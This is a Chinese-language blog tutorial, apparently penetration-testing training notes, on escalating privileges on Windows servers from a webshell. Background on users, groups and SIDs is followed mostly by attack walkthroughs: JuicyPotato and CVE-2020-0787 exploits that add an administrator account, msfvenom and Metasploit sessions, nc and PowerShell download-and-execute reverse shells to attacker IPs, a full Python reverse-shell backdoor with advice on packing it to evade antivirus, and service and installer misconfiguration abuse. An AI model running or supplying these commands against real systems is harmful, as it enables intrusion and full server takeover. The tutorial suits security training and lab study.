boxmoe_header_banner_img

⋅無⋅限⋅進⋅步⋅

加载中

文章导读

Windows提权


avatar
yuhui 2025年10月24日 81

Windows提权

基础知识

用户与用户组

在windows不用的用户有着不同的权限,权限主要包括有:完全控制、修改、读取和执行、列出文件夹内容、读取、写入。

而超级管理员和system用户权限最高

内置用户:

Administrator,系统管理员账号,拥有完全控制权

guest,来宾账号,提供访问共享资源的网络用户使用,仅具有基本权限,默认被禁用

1746583042610-8d59b90d-a51f-4b40-8a20-12200c619830.png

net user //查看本地用户
net user administrator //查看用户详细信息
net localgroup //查看用户组

用户也可以属于多个用户组,常见的用户组是 管理组(Administrators)、普通用户组(Users)、iis用户组(IIS_IUSRS)、来宾组(Guests)、远程登录组(Remote Desktop Users)

内置用户组

administrators,管理员组

users组,新建用户默认所属的组

guests组,权限最低

iis_users组 Internet 信息服务使用的内置组

用户信息的详细解析

whoami 命令

C:UsersMSI-NB>whoami /?
WhoAmI 有三种使用方法:
语法 1:
WHOAMI [/UPN | /FQDN | /LOGONID]
语法 2:
WHOAMI { [/USER] [/GROUPS] [/CLAIMS] [/PRIV] } [/FO format] [/NH]
语法 3:
WHOAMI /ALL [/FO format] [/NH]
描述:
这个工具可以用来获取本地系统上当前用户(访问令牌)的用户名和组信息,
以及相应的安全标识符(SID)、声明、
本地系统上当前用户的权限、登录标识符(登录 ID)
例如,谁是当前已登录的用户?
格式(域用户名)
  参数列表:
/UPN 用用户主体 (User Principal) 格式显示用户名
      名称 (UPN)格式。
/FQDN 用完全合格的 (Fully Qualified) 格式显示用户名
      可分辨名称(FQDN) 格式。
/USER 显示当前用户的信息以及安全标识符 (SID)。
/GROUPS 显示当前用户的组成员信息、帐户类型和安全
      标识符 (SID) 和属性。
/CLAIMS 显示当前用户的声明,
      包括声明名称、标志、类型和值。
/PRIV 显示当前用户的安全特权
/LOGONID 显示当前用户的登录 ID。
/ALL 显示当前用户名、所属的组
      以及安全等级
      当前用户访问令牌的标识符(SID)、
      声明和权限。
/FO format 指定要显示的输出格式。
      有效值为 TABLE、LIST、CSV。
      列标题未使用 CSV
      格式显示。默认格式为 TABLE。
/NH 指定不应在输出中显示
      列标题。此参数仅对
      TABLE 和 CSV 格式有效。
/? 显示此帮助消息
Examples:
WHOAMI
WHOAMI /UPN
WHOAMI /FQDN
WHOAMI /LOGONID
WHOAMI /USER
WHOAMI /USER /FO LIST
WHOAMI /USER /FO CSV
WHOAMI /GROUPS
WHOAMI /GROUPS /FO CSV /NH
WHOAMI /CLAIMS
WHOAMI /CLAIMS /FO LIST
WHOAMI /PRIV
WHOAMI /PRIV /FO TABLE
WHOAMI /USER /GROUPS
WHOAMI /USER /GROUPS /CLAIMS /PRIV
WHOAMI /ALL
WHOAMI /ALL /FO LIST
WHOAMI /ALL /FO CSV /NH
WHOAMI /?

whoami /all
用户信息
----------------

用户名     SID
========== ==============================================
yuhui妤徽 S-1-5-21-3215083981-1206593990-2414868913-1001

组信息
-----------------

组名                                      类型   SID                                                                                                          属性
========================================= ====== ============================================================================================================ ==========================================
Mandatory LabelHigh Mandatory Level      标签   S-1-16-12288                                                           
Everyone                                  已知组 S-1-1-0                                                                                                      必需的组, 启用于默认, 启用的组
NT AUTHORITY本地帐户和管理员组成员       已知组 S-1-5-114                                                                                                    必需的组, 启用于默认, 启用的组
YUHUIdocker-users                        别名   S-1-5-21-3215083981-1206593990-2414868913-1016                                                               必需的组, 启用于默认, 启用的组
BUILTINAdministrators                    别名   S-1-5-32-544                                                                                                 必需的组, 启用于默认, 启用的组, 组的所有者
BUILTINPerformance Log Users             别名   S-1-5-32-559                                                                                                 必需的组, 启用于默认, 启用的组
BUILTINUsers                             别名   S-1-5-32-545                                                                                                 必需的组, 启用于默认, 启用的组
NT AUTHORITYINTERACTIVE                  已知组 S-1-5-4                                                                                                      必需的组, 启用于默认, 启用的组
CONSOLE LOGON                             已知组 S-1-2-1                                                                                                      必需的组, 启用于默认, 启用的组
NT AUTHORITYAuthenticated Users          已知组 S-1-5-11                                                                                                     必需的组, 启用于默认, 启用的组
NT AUTHORITYThis Organization            已知组 S-1-5-15                                                                                                     必需的组, 启用于默认, 启用的组
MicrosoftAccountd13212772860@outlook.com 用户   S-1-11-96-3623454863-58364-18864-2661722203-1597581903-336930228-3377250314-3475270767-1772155924-3986879320 必需的组, 启用于默认, 启用的组
NT AUTHORITY本地帐户                     已知组 S-1-5-113                                                                                                    必需的组, 启用于默认, 启用的组
LOCAL                                     已知组 S-1-2-0                                                                                                      必需的组, 启用于默认, 启用的组
NT AUTHORITY云帐户身份验证               已知组 S-1-5-64-36                                                                                                  必需的组, 启用于默认, 启用的组

特权信息
----------------------

特权名                                    描述                               状态
========================================= ================================== ======
SeAssignPrimaryTokenPrivilege             替换一个进程级令牌                 已禁用
SeIncreaseQuotaPrivilege                  为进程调整内存配额                 已禁用
SeSecurityPrivilege                       管理审核和安全日志                 已禁用
SeTakeOwnershipPrivilege                  取得文件或其他对象的所有权         已禁用
SeLoadDriverPrivilege                     加载和卸载设备驱动程序             已禁用
SeSystemProfilePrivilege                  配置文件系统性能                   已禁用
SeSystemtimePrivilege                     更改系统时间                       已禁用
SeProfileSingleProcessPrivilege           配置文件单一进程                   已禁用
SeIncreaseBasePriorityPrivilege           提高计划优先级                     已禁用
SeCreatePagefilePrivilege                 创建一个页面文件                   已禁用
SeBackupPrivilege                         备份文件和目录                     已禁用
SeRestorePrivilege                        还原文件和目录                     已禁用
SeShutdownPrivilege                       关闭系统                           已禁用
SeDebugPrivilege                          调试程序                           已禁用
SeSystemEnvironmentPrivilege              修改固件环境值                     已禁用
SeChangeNotifyPrivilege                   绕过遍历检查                       已启用
SeRemoteShutdownPrivilege                 从远程系统强制关机                 已禁用
SeUndockPrivilege                         从扩展坞上取下计算机               已禁用
SeManageVolumePrivilege                   执行卷维护任务                     已禁用
SeImpersonatePrivilege                    身份验证后模拟客户端               已启用
SeCreateGlobalPrivilege                   创建全局对象                       已启用
SeIncreaseWorkingSetPrivilege             增加进程工作集                     已禁用
SeTimeZonePrivilege                       更改时区                           已禁用
SeCreateSymbolicLinkPrivilege             创建符号链接                       已禁用
SeDelegateSessionUserImpersonatePrivilege 获取同一会话中另一个用户的模拟令牌 已禁用

Windows 的 sid

Windows 安全性依赖于:访问令牌、SID、安全描述符、访问控制列表、密码

访问令牌

访问令牌在本质上定义了两 上“P”:Permissions(权限)和Privilege(特权)。两者区别并不明显。访问令牌的内容和功能由用户的SID、组的SID、登录 SID、用户特权、默认所有者、SID、默认组SID、默认DACL、起源进程、令牌类型、模拟级别、受限SID。

权限

一个用户进程在接触一个对象时,“安全性参考监视器”将访问令牌中的SID与“对象访问控制列表(ACL)”中的SID匹配。可能出现的两种情 况:1.如果没有匹配,就拒绝用户访问,这称为“隐式拒绝(implici deny)”;2.如果有一个区配,就将与ACK中的条目关联的权限授予给用户。这可能是Allow,也可能是一个Deny权限。在两个权限都直接指派给 对象的前提下,Deny权限将优先于Allow权限(在对待继承的权限时,采取的方式稍有不同)

SID

一个典型的SID:S-1-5-21-1683771068-12213551888-624655398-1001.它遵循的模式是:S-R-IA-SA-SA-RID。下面是具体解释:

1、字母S指明这是一个SID标识符,它将数字标记为一个SID。

2、R代表Revision(修订),Windows生成的所有SID都使用修订级别 1.

3、IA代表颁发机构。在Widnwos中,几乎所有SID都指定NT机构作为颁发机构,它的ID编号为5.但是,代表已知组和账户的SID例外。

4、SA代表一个子机构。SA指定特殊的组或职能。例如、21表明SID由一个域控制器或者一台单机颁发。随后的一长串数字(1683771068-12213551888-624655398)就是颁发SID的那个域或机器的SA。

5、RID是指相对ID(RID)、是SA所指派的一个惟一的、顺序的编号、代表一个安全主体(比如一个用户、计算机或组)

新的已知SID:在经典NT和windows2000中,Local System账户SID S-1-5-18为几乎所有服务提供了安全上下文,该账户具有很大的特权。Windows2003则引入了另外两个“已知SID”来为服务提供一个安全上 下文、即LocalService 和 NetworkService部分已知SID及功能见Microsoft KB243330

已 知RID:指派给用户、计算机和组的RID从1000开始。500-999的RID被专门保留起来、表示在每个Windows计算机和域中通用的账户和 组,它们称为“已知RID”有些已知RID会附加到一个域SID上,从而构成一个惟一的标识符。另一些则附加到Builtin SID(S-1-5-32)上,指出它们是可能具有特权的Builtin账户--特权要么是硬编码到操作系统中的,要么是在安全数据库中指派的。

漏洞提权

提权是指把普通用户的权限进行提升,也叫特权提升,在渗透测试中,通过是各种漏洞提升webshell权限以夺得服务器权限

webshell的权限根据不同的中间件权限也有所不同,如没经过特殊设置,webshell的权限是继承该中间件的权限

webshell的默认权限 从图中可以看到webshell的权限是iis_users组

1746583764105-19ff0e57-20c7-491d-a4b9-e271f6fbcc2b.png

提权常用方法

主要分为漏洞提权windwos特性提权第三方组件提权数据库提权 ftp提权

提权常用命令

systeminfo | findstr OS #获取系统版本信息
systeminfo&&wmic product get name,version&&wmic nic where PhysicalAdapter=True  get MACAddress,Name&&wmic NICCONFIG WHERE IPEnabled=true GET IPAddress #检测系统软件包
hostname #获取主机名称
whoami /all #获取当前用户的详细信息
whoami /priv #显示当前用户的安全特权
net start #查看服务
quser or query user #获取在线用户
netstat -ano | findstr 3389 #获取rdp连接来源IP
dir c:programdata #分析安装杀软
wmic qfe get Caption,Description,HotFixID,InstalledOn #列出已安装的补丁
REG query HKLMSYSTEMCurrentControlSetControlTerminal"
"ServerWinStationsRDP-Tcp /v PortNumber #获取远程端口
tasklist /svc | find "TermService" #获取服务pid
netstat -ano |find "pid" #获取远程端口

Windows 提权辅助脚本

检测系统补丁脚本 https://github.com/SecWiki/windows-kernel-exploits/tree/master/win-exp-suggester

查看补丁 https://github.com/chroblert/WindowsVulnScan

windows 内核提权exp https://github.com/SecWiki/windows-kernel-exploits

在线提权利用查询 https://lolbas-project.github.io/

提权辅助网页 (hacking8.com)

windows漏洞提权流程

能够执行cmd命令->是否打补丁->补丁对应exp->获取服务器权限

执行命令的时候 aspx->php和asp

如果管理员删除服务器组件 wscript.shell 无法在asp执行cmd命令 这个时候可以使用aspx的后门查看是

否有权限执行cmd命令

asp

1746584458668-bf7a1a95-bdf7-4b7f-8abe-516c7c1f2a60.png

aspx

1746584469524-4922bf56-fade-4864-9c70-5616fd3a4bdc.png

补丁查询

hacking8在线查询补丁

systeminfo > c:1.txt

1746584493497-9dff240d-c6f8-4e9c-85e0-ff66fda4de5f.png

wesng 查询补丁

https://github.com/bitsadmin/wesng?clienttype=8&version=7.55.1.101&from=win32_yunguanjia&channel=00000000000000000000000040000001&privilege=&pri_extra=

python wes.py –update-wes #更新

pip3 install chardet #下载包

python wes.py c:sys.txt #检测补丁

WindowsVulnScan 查询补丁

https://github.com/chroblert/WindowsVulnScan

windows-exp-suggester

这款和本工具的原理一样,尝试使用了之后,发现它的CVEKB数据库只更新到2017年的,并且没有给出CVE是否有公开的EXP信息

工具的原理是

  1. 搜集CVE与KB的对应关系。首先在微软官网上收集CVE与KB对应的关系,然后存储进数据库中

  2. 查找特定CVE网上是否有公开的EXP

  3. 利用powershell脚本收集主机的一些系统版本与KB信息

  4. 利用系统版本与KB信息搜寻主机上具有存在公开EXP的CVE

参数说明

# author: JC0o0l
# GitHub: https://github.com/chroblert/
可选参数:
-h, --help show this help message and exit
-u, --update-cve 更新CVEKB数据
-U, --update-exp 更新CVEEXP数据
-m MODE, --mode MODE 搭配-U使用。更新模式 All:更新所有;Empty:只更新空白的;Error:只更
新之前未成功更新的
-C, --check-EXP 检索具有EXP的CVE
-n PRODUCTNAME, --productName PRODUCTNAME
搭配-C使用。自定义产品名称,如Windows 10
-N PRODUCTVERSION, --productVersion PRODUCTVERSION
搭配-C使用。自定义产品版本,如20H2
-f FILE, --file FILE ps1脚本运行后产生的.json文件

使用说明

1.首先运行powershell脚本 KBCollect.ps 收集一些信息 运行后在目录下生成kb.json

.KBCollect.ps1

Set-ExecutionPolicy -Scope CurrentUser

remotesigned

  1. 将运行后产生的 KB.json 文件移动到 cve-check.py 所在的目录

  2. 安装一些python3模块

python3 -m pip install requirements.txt

  1. 运行 cve-check.py -u 创建CVEKB数据库

  2. 运行 cve-check.py -U 更新CVEKB数据库中的 hasPOC 字段

此处可以使用-m选择更新模式。

-m All:更新所有

-m Empty:只更新hasPOC字段为空的

-m Error:只更新hasPOC字段为Error的

  1. 运行 cve-check.py -C -f KB.json 查看具有公开EXP的CVE,如下

python cve-check.py -C -f KB.json

7.在webshell执行 需要把源码进行修改 把Out-file的文件写在可写的目录上

1746584712364-c2620c2c-2fe9-475c-ac32-3231d5c0b855.png

webshell执行powershell查询补丁 执行会在C:Windowstemp生成kb.json文件

1746584723155-7a4df34e-9a4b-427a-b838-6cbeb3b5f4b7.png

1746584731853-ef9ec735-fe2c-4924-97fc-da00cb8fcef5.png

把kb.json copy下载本地检测

python cve-check.py -C -f KB.json

查询可写目录或文件

确定可以执行cmd命令时,有些服务器会对目录进行权限设置,导致iis_user用户组没有权限对常见的目录进行写入和读取,这时可以用扫描可写目录脚本对目录进行遍历扫描,得到可写目录 上传或下载 提权exp 或替换文件 进行利用

常见的脚本有wt.asp 红色表示文件可替换 蓝色表示目录可写

1746584802879-6f517bbe-133e-4d82-9e6d-4f831c1257e3.png

net版本的wt.aspx 因为net的权限比asp 而且能访问注册表 所以除了常规扫描目录之外,还会读取注册表软件目录进行目录扫描

1746584812162-4fe87484-1120-4034-a416-82f675e5d9db.png

windows常用提权

通过上面的补丁查询,列出可用的exp,在webshell里使用提权exp对服务器进行提权

CVE-2016-3225(MS16-075)提权

漏洞描述

当攻击者转发适用于在同一计算机上运行的其他服务的身份验证请求时,Microsoft 服务器消息块(SMB) 中存在特权提升漏洞。成功利用此漏洞的攻击者可以使用提升的特权执行任意代码。

若要利用此漏洞,攻击者首先必须登录系统。然后,攻击者可以运行一个为利用此漏洞而经特殊设计的应用程序,从而控制受影响的系统。此更新通过更正 Windows 服务器消息块 (SMB) 服务器处理凭据转发请求的方式来修复此漏洞。

注:烂土豆(Rotten Potato)提权是一个本地提权,是针对本地用户的,不能用于域用户

影响版本

https://docs.microsoft.com/zh-cn/security updates/securitybulletins/2016/ms16-075

漏洞复现

利用文件

https://github.com/itm4n/PrintSpoofer?clienttype=8&version=7.55.1.101&from=win32_yunguanjia&channel=00000000000000000000000040000001&privilege=&pri_extra=

下载文件 https://github.com/uknowsec/JuicyPotato 上传到webshell的可执行目录

1746585570309-5447d1b9-5e5f-4e80-8581-b481df4bfbaa.png

执行完后看到权限已经是system了 新建账号添加到管理员组

/c c:windowsdebugWIAJuicyPotato_x64.exe -a "net user moon 123456 /add && net localgroup administrators moon /add"

1746585604870-0b130060-4515-41e3-a96c-5c066c25d769.png

漏洞修复

升级版本

CVE-2014-4113 (MS14-058)提权

漏洞描述

Microsoft Windows下的 win32k.sys是Windows子系统的内核部分,是一个内核模式设备驱动程序,它包含有窗口管理器、后者控制窗口显示和管理屏幕输出等。如果Windows内核模式驱动程序不正确地处理内存中的对象,则存在一个特权提升漏洞。成功利用此漏洞的攻击者可以运行内核模式中的任意代码。攻击者随后可安装程序;查看、更改或删除数据;或者创建拥有完全管理权限的新帐户。

影响版本

该漏洞影响所有Windows x64,包括Windows 7 和 Windows Server 2008 R2 及以下版本。

漏洞复现

支持cmd执行

支持cmd执行 如果开启 wscript.shell cmd执行没反应 大概是当前的用户无法执行系统目录下的cmd,这个时候可以上传或者远程下载cmd到可写可执行目录

上传成功之后 把路径填写进来执行 也是可以执行命令 如果上传出错显示 缺少对象 那是因为服务器上传的文件大小超出了

这个时候可以选择webshell后门里的远程下载功能 下载远程cmd到本地指定目录

上传编译好的提权exp 执行即可获取系统权限

漏洞修复

升级

CVE-2020-0787 提权

漏洞描述

当Windows Background Intelligent Transfer Service (BITS)未能正确地处理符号链接时,存在权限提升漏洞。成功利用此漏洞的攻击者可以覆盖导致提升状态的目标文件。要利用此漏洞,攻击者首先必须登录到系统。然后,攻击者可以运行巧尽心思构建的应用程序,利用此漏洞并控制受影响的系统。

影响版本

https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2020-0787

漏洞复现

下载地址 https://github.com/cbwang505/CVE-2020-0787-EXP-ALL-WINDOWS-VERSION/releases

建立普通用户 net user moonsec 123456 /add 本地切换登录 执行

c:windowsdebugWIABitsArbitraryFileMoveExploit.exe

修复建议

升级

使用metasplit 提权

描述

metasplit 是一款开源的安全漏洞检测工具,可以帮助安全和IT专业人士识别安全性问题,验证漏洞的缓解措施,并管理专家驱动的安全性进行评估,提供真正的安全风险情报。这些功能包括智能开发,代码审计,Web应用程序扫描,社会工程。团队合作,在Metasploit和综合报告提出了他们的发现

提权过程

1、在 kali 上生成反向连接后门

msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.0.195 lport=12345 -f exe >s.exe

1746585889614-b62faae4-172b-4368-a740-34f1dceda5be.png

2、把生成的后门文件上传到可执行目录

3、在kali上 使用 msfconsole 命令 启动metasplite 监听ip和端口 这里的ip和端口要生成后门的端口和ip一致,ip可以设置成0.0.0.0 允许任何主机连接入来 但是存在风险

use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.0.195
set lport 12345
exploit

4、在webshell里面允许后门

1746585951719-5c0ef7d3-3623-4106-b0a5-bd583b250f9e.png

5、 获取meterpreter

1746585965784-0f96d1ab-10af-4c14-8583-4110a514b865.png

1746585970865-9b43109a-815b-4fc4-93f2-b505b24c5b1e.png

获取系统信息和当前账号 发现权限较低。 需要进行提权,提升当前所在服务器的权限

6、特权提升

可以使用常规的提权exp进行测试

windows 常见的提权模块

ms14_058 内核模式驱动程序中的漏洞可能允许远程执行代码
ms16_016 WebDAV本地提权漏洞(CVE-2016-0051)
ms16_032 MS16-032 Secondary Logon Handle 本地提权漏漏洞

7、msf的基础命令

ps 列出进程

background 把session放置后台

sessions 查看会话

back 返回主界面

shell得到终端

search搜索模块

show 列模块

info 查看模块信息

use 使用模块

8、查询补丁

run post/windows/gather/enum_patches

9、使用模块进行提权

搜索模块 search ms14_058

查看模块信息

info exploit/windows/local/ms16_075_reflection_juicy
use exploit/windows/local/ms16_075_reflection_juicy
show options 查看需要设置什么参数
set SESSION 1 设置SESSION 为1
exploit 运行

1746586135155-0ea586dd-3480-4763-841e-06ab218f3ee0.png

可以看到普通iis用户已经成功提权到系统权限

10、维持权限

系统是x64的 把后门迁移到别的进程

ps 列出进程号

migrate 2744 explore进程中

1746586160362-e9e1da7e-32f1-46e8-b0e2-16be3829ceca.png

使用模块提权审查

use post/multi/recon/local_exploit_suggester
set session 1
exploit
msf6 exploit(multi/handler) > use post/multi/recon/local_exploit_suggester
msf6 post(multi/recon/local_exploit_suggester) > show options
Module options (post/multi/recon/local_exploit_suggester):
Name Current Setting Required Description
---- --------------- -------- -----------
SESSION yes The session to run this module on
SHOWDESCRIPTION false yes Displays a detailed description
for the available exploits
msf6 post(multi/recon/local_exploit_suggester) > sessions -l
Active sessions
===============
Id Name Type Information
Connection
-- ---- ---- ----------- ----
------
1 meterpreter x86/windows IIS APPPOOLDefaultAppPool @ 12SERVER7
192.168.0.120:12345 -> 192.168.0.178:58932 (192.168.44.138)
msf6 post(multi/recon/local_exploit_suggester) > set SESSION 1
SESSION => 1
msf6 post(multi/recon/local_exploit_suggester) > exploit
[*] 192.168.44.138 - Collecting local exploits for x86/windows...
[*] 192.168.44.138 - 37 exploit checks are being tried...
nil versions are discouraged and will be deprecated in Rubygems 4
[+] 192.168.44.138 - exploit/windows/local/ikeext_service: The target appears to
be vulnerable.
[+] 192.168.44.138 -
exploit/windows/local/ms16_032_secondary_logon_handle_privesc: The service is
running, but could not be validated.
[+] 192.168.44.138 - exploit/windows/local/ms16_075_reflection: The target
appears to be vulnerable.
[+] 192.168.44.138 - exploit/windows/local/ms16_075_reflection_juicy: The target
appears to be vulnerable.
[*] Post module execution completed
msf6 post(multi/recon/local_exploit_suggester) >

或者在meterpreter使用 run post/multi/recon/local_exploit_suggester 执行

但是 msf6 均失败 目前未知原因 可能是系统bug

run post/windows/gather/enum_patches

交互shell和非交互shell

交互shell就是shell等待你的输入,并且立即执行你提交的命令。

这种模式被称作交互式是因为shell与用户进行交互。

这种模式也是大多数用户非常熟悉的:登录、执行一些命令、签退。当签退后,shell也终止了。

需要进行信息交互,例如输入某个信息 会返回信息 你需要对其输入内容,输入会执行命令。

例如 cmd 终端 msf反弹后门shell nc反弹shell 这些都属于交互shell

shell也可以运行在另外一种模式:非交互式模式,以shell script(非交互)方式执行。

在这种模式下,shell不与你进行交互,而是读取存放在文件中的命令,并且执行它们。当它读到文件的结尾,shell也就终止了

反弹shell提权

反弹shell提权是使用工具或者脚本 从服务器主动连接攻击者客户端,是从内部向外部通信,所以能穿透防火墙,防火墙一般只对进来的流量进行拦截,并不对主动出去的流量进行拦截,所以反弹shell可以很多的逃逸防火墙,另外反弹shell是交互shell,通信是交互的,所以能执行的命令更多,而且没有超时限制,可以从受害者的服务器上下载,更多的资料

nc 反弹 shell

攻击者监听

nc -lvnp 6666

上传nc 到服务器 在服务器上执行nc

/c C:WindowsdebugWIAnc.exe -e c:windowssystem32cmd.exe 192.168.0.195 8080

1746600927814-c0c1ef2c-f35e-4d1f-b6df-ee4cb4d857cf.png

powershell反弹cmd

powercat是netcat的powershell版本

下载地址https://github.com/besimorhino/powercat

 powershell IEX (New-Object
System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1'); powercat -c 192.168.1.4 -p 9999 -e cmd

这个网 默认是被墙的,所以可以放在可被访问的远程服务器上。执行命令的时候,自动下载执行

攻击者监听 nc -lvnp 8888

在webshell上执行 命令

powershell IEX (New-Object
System.Net.Webclient).DownloadString('http://192.168.0.195/powercat.ps1');
powercat -c 192.168.0.195 -p 8888 -e cmd

1746601054287-da14b0b1-59c6-4542-bf8a-b13c148e123c.png

nishang反弹shell

nishanghttps://github.com/samratashok/nishang

一个基于PowerShell的攻击框架,集合了一些PowerShell攻击脚本和有效载荷,可反弹TCP/ UDP/ HTTP/HTTPS/ ICMP等类型shell

Reverse TCP shell

攻击者(192.168.0.195)开启监听:

目标机执行

powershell IEX (New-Object
Net.WebClient).DownloadString('https://raw.githubusercontent.com
/samratashok/nishang/9a3c747bcf535ef82dc4c5c66aac36db47c2afde/Shells/Invoke-
PowerShellTcp.ps1');
Invoke-PowerShellTcp -Reverse -IPAddress 192.168.159.134 -port 6666

或者在自己的服务上搭建下载

powershell IEX (New-Object
Net.WebClient).DownloadString('http://192.168.0.195/nishang/Shells/Invoke-
PowerShellTcp.ps1');Invoke-PowerShellTcp -Reverse -IPAddress 192.168.0.195 -port
6666

1746601136288-def1f47b-de59-4a89-af67-bafbb1f1e20d.png

Reverse UDP shell

攻击者监听 nc -lvup 53

控制端执行

powershell IEX (New-Object
Net.WebClient).DownloadString('http://192.168.0.195/nishang/Shells/Invoke-
PowerShellUdp.ps1');
Invoke-PowerShellUdp -Reverse -IPAddress 192.168.0.195 -port 53

1746601169105-bfdff3f1-6905-4238-934f-faf736fd1f60.png

python反弹cmd shell

使用python编写反弹shell,如果目标支持python3可以脚本直接执行即可

如果遇到 杀软 可以使用 生成exe的版本 可以很好的逃逸杀软

import asyncio
import socket
import argparse
parser = argparse.ArgumentParser(formatter_class=argparse.RawTextHelpFormatter,
description="############### pycat
###############n" 
" Windows Reverse TCP
backdoorn"
"Usage: python pycat.py --host
netcatIP --port PORTnn" 
"Demo: youtube.com/watch?
v=3sMhHL6c68En"
"GitHub:
github.com/danielhnmoreno/pycatn" 
"Contact: contato@bluesafe.com.br")
parser.add_argument('--host', action = 'store', dest = 'host', required = True,
help = 'Host listening for reverse connection')
parser.add_argument('--port', action = 'store', type=int, dest = 'port', required
= True, help = 'Port')
arguments = parser.parse_args()
HOST = arguments.host
PORT = arguments.port
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, PORT))
async def shell():
while 1:
proc = await asyncio.create_subprocess_shell("cmd",
stdin=asyncio.subprocess.PIPE,
stdout=asyncio.subprocess.PIPE,
stderr=asyncio.subprocess.STDOUT)
cmd = b"n"
proc.stdin.write(cmd)
while 1:
while 1:
out = await proc.stdout.readline()
break_ = out.decode("latin-1")
if break_[-2:] == ">n" or break_[-3:] == "> n":
s.send(out[:-1])
break
elif break_.endswith(">" + cmd.decode()) or break_.endswith("> "
+ cmd.decode()):
pass
else:
s.send(out)
        cmd = s.recv(1024)
cmd_ = cmd.decode()
if cmd_ == "n":
proc.stdin.write(b"n")
elif cmd_.startswith("exit"):
proc.terminate()
break
else:
proc.stdin.write(cmd + b"n")
asyncio.set_event_loop_policy(asyncio.WindowsProactorEventLoopPolicy())
asyncio.run(shell())

目标上没有安装python 可以使用命令打包成exe在上传执行

pyinstaller -Fw pycat.py

攻击者监听 nc -lvp 6666

被控端 执行

/c C:WindowsdebugWIApycat.exe –host 192.168.0.195 –port 6666

1746601264031-40b78ee3-a4cd-44b7-bed6-a754aaa38ed2.png

Windows 系统配置错误提权

系统服务权限配置错误

描述

Windows在系统启动时,会伴随着一些高权服务启动(windows服务是以system权限运行的)倘若某些服务存在一些漏洞,那么就能够借此服务进行权限劫持,例如DLL劫持

漏洞介绍

windows系统服务文件在操作系统启动时加载执行,并在后台调用可执行文件。如果一个低权限的用户对此类系统服务调用的可执行文件拥有写权限,那么就可以替换该文件,并随着系统启动获得控制权限。

windows服务是以system权限运行的,其文件夹、文件和注册表key-value都是受强制访问控制保护的。但是在某些情况下,操作系统中依然存在一些没有得到有效保护的服务。

复现

1、Powershell中的PowerUp脚本 https://github.com/HarmJ0y/PowerUp 载模块并执行 列出可能存在问题的所有服务 分析能否利用

powershell -nop -exec bypass -c "IEX (New-Object
Net.WebClient).DownloadString('http://192.168.0.106/PowerUp.ps1'); Invoke-
AllChecks"

1746601413065-acf87b83-b244-4406-addd-c64cba65c55f.png

2、PrivescCheck这个Powershell比PowerUp显示的内容更加详细,PowerUp长期没更新了,建议用这个工具对配置进行详细错误

git clone https://github.com/itm4n/PrivescCheck.git

powershell -nop -exec bypass -c "IEX (New-Object
Net.WebClient).DownloadString('http://192.168.0.106/PrivescCheck.ps1'); Invoke-
PrivescCheck"

1746601443074-4557a7be-11e8-43b2-bbbd-167a62348689.png

1746601450118-e911ce42-48ad-4132-a036-80d72971a044.png

NT AUTHORITYAuthenticated Users 普通用户也能设置文件

普通用户可以对usosvc服务进行设置 s.exe是msf的后门程序

sc stop UsoSvc
sc config usosvc binPath= "C:s.exe"
sc start UsoSvc

3、Metasploit中的攻击模块 exploit/windows/local/service_permissions

service_permissions模块会使用 两种方式获取system权限 如果以管理员权限运行 会尝试创建并运行一个新的服务 如果当前权限不允许创建服务 会判断哪些服务的文件或文件夹的权限有问题 并对其进行劫持 在劫持服务时会创建一个可执行程序 其文件名和安装路径都是随机的

不带引号的服务路径提权

描述

当系统管理员配置Windows服务时,他们必须指定要执行的命令,或者运行可执行文件的路径。当Windows服务运行时,会发生以下两种情况之一。如果给出了可执行文件,并且引用了完整路径,则系统会按字面解释它并执行。但是,如果服务的二进制路径未包含在引号中,则操作系统将会执行找到的空格分隔的服务路径的第一个实例。

原理

using System;
using System.Collections.Generic;
using System.Text;
namespace moon
{
class Program
{
static void Main(string[] args)
{
Console.WriteLine("欢迎来到暗月渗透测试培训");
}
}
}

编译成exe 然后改名上传到 c盘 Program.exe

服务器执行的时候如果没有添加双引号 程序是这样寻找Rar.exe文件

1、 没有双引号的时候会执行Program.exe文件

1746601708484-184a0fe0-bedc-40eb-9d1e-351c7477b9ba.png

2、 有双引号的时候

"C:Program FilesWinRARRar.exe"

1746601724923-57ecfd40-44c0-4fa2-8e5e-3f341330e737.png

没有双引号的时候,windows会把空格前面的当做exe文件执行。

漏洞复现

使用PowerUp.ps1进行检测,会遍历出带有空格的文件路径

powershell -nop -exec bypass -c "IEX (New-Object
Net.WebClient).DownloadString('http://192.168.0.106/PowerUp.ps1'); Invoke-
AllChecks"

或者使用命令

wmic service get name,displayname,pathname,startmode|findstr /i "Auto" |findstr
/i /v "C:Windows" |findstr/i /v """

1746601759022-2213c813-b65f-4b60-a464-77a254d468d1.png

看到服务器存在空格,路径可写 即存在漏洞

如果C盘可写上传反弹后门到C:Program.exe即可

系统在重启 获取管理员重启该服务的时候就会获取系统权限

记得在设置 metasploist set AutoRunScript migrate -f 自动迁移进程 不然会连接就断开

注册键AlwaysInstallElevated

描述

允许低权限用户以System权限安装文件。如果启用此策略设置项,那么任何权限的用户都以NTAuthoritySystem权限来安装恶意的MSI文件。 windows install是windows操作系统的组件之一,专门用来管理配置软件服务。它除了是一个安装程序,还用于管理软件的安装、组件的添加、删除、监视文件的还原、通过回滚进行灾难恢复。windows install通过msiexec.exe安装MSI文件,双击MSI文件就会运行msiexec.exe。 原理:是因为用户打开了windows installer 特权安装功能

漏洞复现

运行gpedit.msc打开组策略编辑器

1746601817818-fae6d43b-8614-43bf-b373-2dac0c396731.png

1746601823992-24815b26-7a77-4844-adcc-5105d18fea18.png

也可以使用命令行修改注册表

reg add HKEY_CURRENT_USERSOFTWAREPoliciesMicrosoftWindowsInstaller /v
AlwaysInstallElevated /t REG_DWORD /d 1
Reg add HKEY_LOCAL_MACHINESOFTWAREPoliciesMicrosoftWindowsInstaller /v
AlwaysInstallElevated /t REG_DWORD /d 1

使用PowerUp检测注册表是否有设置 如果返回true证明可以利用

/c PowerShell -nop -exec bypass IEX(New-Object
Net.WebClient).DownloadString('http://192.168.0.121/PowerUp.ps1'); Get-
RegAlwaysInstallElevated

1746601849570-73c58c58-4318-40cc-adb6-57ff02601a52.png

iis_user组用户权限较低 返回false1746601858659-d28c711b-befe-4f3e-89b4-826213a03cf0.png

